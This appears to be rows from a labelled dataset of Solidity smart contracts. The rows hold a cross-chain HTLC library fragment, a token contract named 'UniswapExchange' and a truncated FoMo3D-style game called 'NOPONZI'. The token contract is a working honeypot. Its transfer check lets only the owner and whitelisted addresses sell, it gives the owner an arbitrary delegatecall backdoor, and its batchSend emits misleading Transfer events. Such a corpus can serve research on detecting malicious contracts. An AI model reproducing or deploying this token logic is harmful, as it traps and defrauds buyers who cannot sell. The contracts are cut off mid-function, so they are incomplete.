function revokeDebtTx(Data storage self, bytes32 xHash, TxStatus status)
external
{
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
require(debtTx.baseTx.status == status, "Status is not locked");
require(now >= debtTx.baseTx.beginLockedTime.add(debtTx.baseTx.lockedTime), "Revoke is not permitted");
debtTx.baseTx.status = TxStatus.Revoked;
}
function getDebtTx(Data storage self, bytes32 xHash)
external
view
returns (bytes32, bytes32)
{
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
return (debtTx.srcSmgID, debtTx.baseTx.smgID);
}
function getLeftTime(uint endTime) private view returns (uint) {
if (now < endTime) {
return endTime.sub(now);
}
return 0;
}
function getLeftLockedTime(Data storage self, bytes32 xHash)
external
view
returns (uint)
{
UserTx storage userTx = self.mapHashXUserTxs[xHash];
if (userTx.baseTx.status != TxStatus.None) {
return getLeftTime(userTx.baseTx.beginLockedTime.add(userTx.baseTx.lockedTime));
}
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
if (smgTx.baseTx.status != TxStatus.None) {
return getLeftTime(smgTx.baseTx.beginLockedTime.add(smgTx.baseTx.lockedTime));
}
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
if (debtTx.baseTx.status != TxStatus.None) {
return getLeftTime(debtTx.baseTx.beginLockedTime.add(debtTx.baseTx.lockedTime));
}
require(false, 'invalid xHash');
}
}
pragma solidity ^0.4.26;
library RapidityTxLib {
enum TxStatus {None, Redeemed}
struct Data {
mapping(bytes32 => TxStatus) mapTxStatus;
}
function addRapidityTx(Data storage self, bytes32 uniqueID)
internal
{
TxStatus status = self.mapTxStatus[uniqueID];
require(status == TxStatus.None, "Rapidity tx exists");
self.mapTxStatus[uniqueID] = TxStatus.Redeemed;
}
}
pragma solidity ^0.4.26;
library CrossTypes {
using SafeMath for uint;
struct Data {
HTLCTxLib.Data htlcTxData;
RapidityTxLib.Data rapidityTxData;
IQuota quota;
ITokenManager tokenManager;
IStoremanGroup smgAdminProxy;
address smgFeeProxy;
ISignatureVerifier sigVerifier;
mapping(bytes32 => uint) mapStoremanFee;
mapping(uint => mapping(uint =>uint)) mapLockFee;
mapping(uint => mapping(uint =>uint)) mapRevokeFee;
}
function bytesToAddress(bytes b) internal pure returns (address addr) {
assembly {
addr := mload(add(b,20))
}
}
function transfer(address tokenScAddr, address to, uint value)
internal
returns(bool)
{
uint beforeBalance;
uint afterBalance;
beforeBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
tokenScAddr.call(bytes4(keccak256("transfer(address,uint256)")), to, value);
afterBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
return afterBalance == beforeBalance.add(value);
}
function transferFrom(address tokenScAddr, address from, address to, uint value)
internal
returns(bool)
{
uint beforeBalance;
uint afterBalance;
beforeBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
tokenScAddr.call(bytes4(keccak256("transferFrom(address,address,uint256)")), from, to, value);
afterBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
return afterBalance == beforeBalance.add(value);
}
}
pragma solidity ^0.4.26;
library HTLCDebtLib {
struct DebtAssetParams {
bytes32 uniqueID;
bytes32 srcSmgID;
bytes32 destSmgID;
}
event TransferAssetLogger(bytes32 indexed uniqueID, bytes32 indexed srcSmgID, bytes32 indexed destSmgID);
event ReceiveDebtLogger(bytes32 indexed uniqueID, bytes32 indexed srcSmgID, bytes32 indexed destSmgID);
function transferAsset(CrossTypes.Data storage storageData, DebtAssetParams memory params)
public
{
storageData.quota.transferAsset(params.srcSmgID, params.destSmgID);
emit TransferAssetLogger(params.uniqueID, params.srcSmgID, params.destSmgID);
}
function receiveDebt(CrossTypes.Data storage storageData, DebtAssetParams memory params)
public
{
storageData.quota.receiveDebt(params.srcSmgID, params.destSmgID);
emit ReceiveDebtLogger(params.uniqueID, params.srcSmgID, params.destSmgID);
}
} | 1 | 2,845 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,145 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3DPLUS is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x01308cFf027cC3e130fB1c32114e89179b6c36A7);
address private admin = 0xAE81cCb079B49f9149E54235802ad22a83A6e0dF;
string constant public name = "NOPONZI";
string constant public symbol = "NOPONZI";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
